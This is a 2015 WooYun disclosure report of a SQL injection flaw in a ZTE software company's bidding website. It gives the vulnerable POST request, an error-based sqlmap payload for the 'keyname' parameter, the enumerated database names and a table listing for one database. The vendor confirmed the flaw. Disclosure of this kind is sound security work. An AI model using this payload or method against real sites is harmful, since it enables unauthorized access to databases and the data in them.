当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0102669

漏洞标题：中兴某站存在SQL注入漏洞

相关厂商：中兴通讯股份有限公司

漏洞作者： 路人甲

提交时间：2015-03-23 10:08

修复时间：2015-05-07 13:58

公开时间：2015-05-07 13:58

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：14

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-03-23： 细节已通知厂商并且等待厂商处理中
2015-03-23： 厂商已经确认，细节仅向厂商公开
2015-04-02： 细节向核心白帽子及相关领域专家公开
2015-04-12： 细节向普通白帽子公开
2015-04-22： 细节向实习白帽子公开
2015-05-07： 细节向公众公开

简要描述：

详细说明：

http://bidding.ztesoft.com/


中兴软创
POST SQL注入：

POST /index.php?ac=search&at=result HTTP/1.1
Content-Length: 89
Content-Type: application/x-www-form-urlencoded
Referer: http://bidding.ztesoft.com:80/
Cookie: e25d4f441419921f549c45d086f5f27a=1426775642
Host: bidding.ztesoft.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.63 Safari/537.36
Accept: */*
keyname=1&keyword=%e8%af%b7%e8%be%93%e5%85%a5%e5%85%b3%e9%94%ae%e8%af%8d&lng=cn&mid=0

漏洞证明：

1.jpg

sqlmap identified the following injection points with a total of 299 HTTP(s) requests:
---
Place: POST
Parameter: keyname
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
    Payload: keyname=1 AND (SELECT 1991 FROM(SELECT COUNT(*),CONCAT(0x7172627571,(SELECT (CASE WHEN (1991=1991) THEN 1 ELSE 0 END)),0x7173726d71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)&keyword=%e8%af%b7%e8%be%93%e5%85%a5%e5%85%b3%e9%94%ae%e8%af%8d&lng=cn&mid=0
---
web server operating system: Windows 2008 R2 or 7
web application technology: ASP.NET, Microsoft IIS 7.5, PHP 5.3.10
back-end DBMS: MySQL 5.0
available databases [7]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] test
[*] ztesoft_poll
[*] ztesoft_static
[*] ztesoft_website


ztesoft_website库中的表：

sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: POST
Parameter: keyname
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
    Payload: keyname=1 AND (SELECT 1991 FROM(SELECT COUNT(*),CONCAT(0x7172627571,(SELECT (CASE WHEN (1991=1991) THEN 1 ELSE 0 END)),0x7173726d71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)&keyword=%e8%af%b7%e8%be%93%e5%85%a5%e5%85%b3%e9%94%ae%e8%af%8d&lng=cn&mid=0
---
web server operating system: Windows 2008 R2 or 7
web application technology: ASP.NET, Microsoft IIS 7.5, PHP 5.3.10
back-end DBMS: MySQL 5.0
No tables found
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: POST
Parameter: keyname
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
    Payload: keyname=1 AND (SELECT 1991 FROM(SELECT COUNT(*),CONCAT(0x7172627571,(SELECT (CASE WHEN (1991=1991) THEN 1 ELSE 0 END)),0x7173726d71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)&keyword=%e8%af%b7%e8%be%93%e5%85%a5%e5%85%b3%e9%94%ae%e8%af%8d&lng=cn&mid=0
---
web server operating system: Windows 2008 R2 or 7
web application technology: ASP.NET, Microsoft IIS 7.5, PHP 5.3.10
back-end DBMS: MySQL 5.0
Database: ztesoft_website
[52 tables]
+-----------------------+
| wp_commentmeta        |
| wp_comments           |
| wp_links              |
| wp_options            |
| wp_postmeta           |
| wp_posts              |
| wp_term_relationships |
| wp_term_taxonomy      |
| wp_terms              |
| wp_usermeta           |
| wp_users              |
| zte_admin_member      |
| zte_admin_powergroup  |
| zte_bbs               |
| zte_bbs_content       |
| zte_bbs_label         |
| zte_bbs_typelist      |
| zte_calling           |
| zte_city              |
| zte_config            |
| zte_document          |
| zte_document_album    |
| zte_document_content  |
| zte_document_label    |
| zte_document_other    |
| zte_document_value    |
| zte_form_attr         |
| zte_form_group        |
| zte_form_time         |
| zte_form_value        |
| zte_keylink           |
| zte_lng               |
| zte_lngpack           |
| zte_logs              |
| zte_member            |
| zte_member_attr       |
| zte_member_class      |
| zte_member_value      |
| zte_menubotton        |
| zte_menulink          |
| zte_model             |
| zte_model_att         |
| zte_order             |
| zte_order_info        |
| zte_order_pay         |
| zte_order_payreceipt  |
| zte_order_shipping    |
| zte_order_shipreceipt |
| zte_skin              |
| zte_subjectlist       |
| zte_templates         |
| zte_typelist          |
+-----------------------+

不深入了~

修复方案：

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：10

确认时间：2015-03-23 13:56

厂商回复：

感谢~

最新状态：

暂无

漏洞评价：

评论